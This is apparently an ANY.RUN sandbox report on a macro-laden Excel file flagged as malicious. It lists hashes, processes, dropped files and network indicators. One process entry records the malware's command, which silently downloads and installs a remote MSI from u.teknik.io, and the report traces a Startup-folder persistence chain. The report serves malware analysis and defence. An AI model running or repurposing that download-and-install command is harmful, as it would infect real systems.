File name:

85ac52fb1a85659b8aa0ee82a62720f55e2d3731870927ab82539bdd7c3908fa.xls

Full analysis: https://app.any.run/tasks/d7252dde-994f-4189-bc0d-38867ba5d921
Verdict: Malicious activity
Analysis date: October 20, 2020, 13:30:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
exe-to-msi
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Oct 19 18:57:00 2020, Security: 0
MD5:

9E471C6C4F44270B058B9992AF69CD78

SHA1:

49C13B3FB77C9CE36C7C150E479DAC073F0E164D

SHA256:

85AC52FB1A85659B8AA0EE82A62720F55E2D3731870927AB82539BDD7C3908FA

SSDEEP:

768:6Iikd4pxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAKDlxcpanRNRL91zUt8SbssLm:tOxEtjPOtioVjDGUU1qfDlaGGx+cL2Q8

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 2124)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2124)
    • Writes to a start menu file

      • MSI55B9.tmp (PID: 2648)
    • Changes the autorun value in the registry

      • MSI55B9.tmp (PID: 2648)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2432)
      • MSI55B9.tmp (PID: 2648)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 2432)
    • Reads Internet Cache Settings

      • msiexec.exe (PID: 2432)
    • Creates files in the user directory

      • MSI55B9.tmp (PID: 2648)
    • Executes scripts

      • MSI55B9.tmp (PID: 2648)
  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2124)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 2432)
    • Application was dropped or rewritten from another process

      • MSI55B9.tmp (PID: 2648)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: -
LastModifiedBy: -
Software: Microsoft Excel
CreateDate: 2006:09:16 00:00:00
ModifyDate: 2020:10:19 17:57:00
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
AppVersion: 15
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: Sheet1
HeadingPairs:
  • Worksheets
  • 1
CompObjUserTypeLen: 31
CompObjUserType: Microsoft Excel 2003 Worksheet
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
5
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start excel.exe no specs msiexec.exe no specs msiexec.exe msi55b9.tmp wscript.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2124"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2432C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2648"C:\Windows\Installer\MSI55B9.tmp"C:\Windows\Installer\MSI55B9.tmp
msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Version:
3, 3, 8, 1
Modules
Images
c:\windows\installer\msi55b9.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\wsock32.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\version.dll
3668WSCript C:\Users\admin\AppData\Local\Temp\ZKWBRB.vbsC:\Windows\system32\WSCript.exeMSI55B9.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3780msiexec /q /i https://u.teknik.io/oRnzE.msiC:\Windows\system32\msiexec.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
1 244
Read events
1 167
Write events
66
Delete events
11

Modification events

(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName::u5
Value:
3A7535004C080000010000000000000000000000
(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(2124) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
Off
Executable files
3
Suspicious files
2
Text files
1
Unknown types
1

Dropped files

PID
Process
Filename
Type
2124EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR3D8B.tmp.cvr
MD5:
SHA256:
2432msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF28C3808581E2C8D3.TMP
MD5:
SHA256:
2432msiexec.exeC:\Windows\Installer\MSI54DC.tmpbinary
MD5:
SHA256:
2648MSI55B9.tmpC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZKWBRB.lnklnk
MD5:
SHA256:
2432msiexec.exeC:\Windows\Installer\MSI55B9.tmpexecutable
MD5:
SHA256:
2648MSI55B9.tmpC:\Users\admin\AppData\Local\Temp\ZKWBRB.vbstext
MD5:
SHA256:
2648MSI55B9.tmpC:\Users\admin\AppData\Roaming\Windata\NDOHUP.exeexecutable
MD5:
SHA256:
2432msiexec.exeC:\Windows\Installer\MSI4F4D.tmpexecutable
MD5:
SHA256:
2432msiexec.exeC:\Windows\Installer\2d545f.ipibinary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2432
msiexec.exe
5.79.72.163:443
u.teknik.io
LeaseWeb Netherlands B.V.
NL
malicious

DNS requests

Domain
IP
Reputation
u.teknik.io
  • 5.79.72.163
whitelisted

Threats

No threats detected
No debug info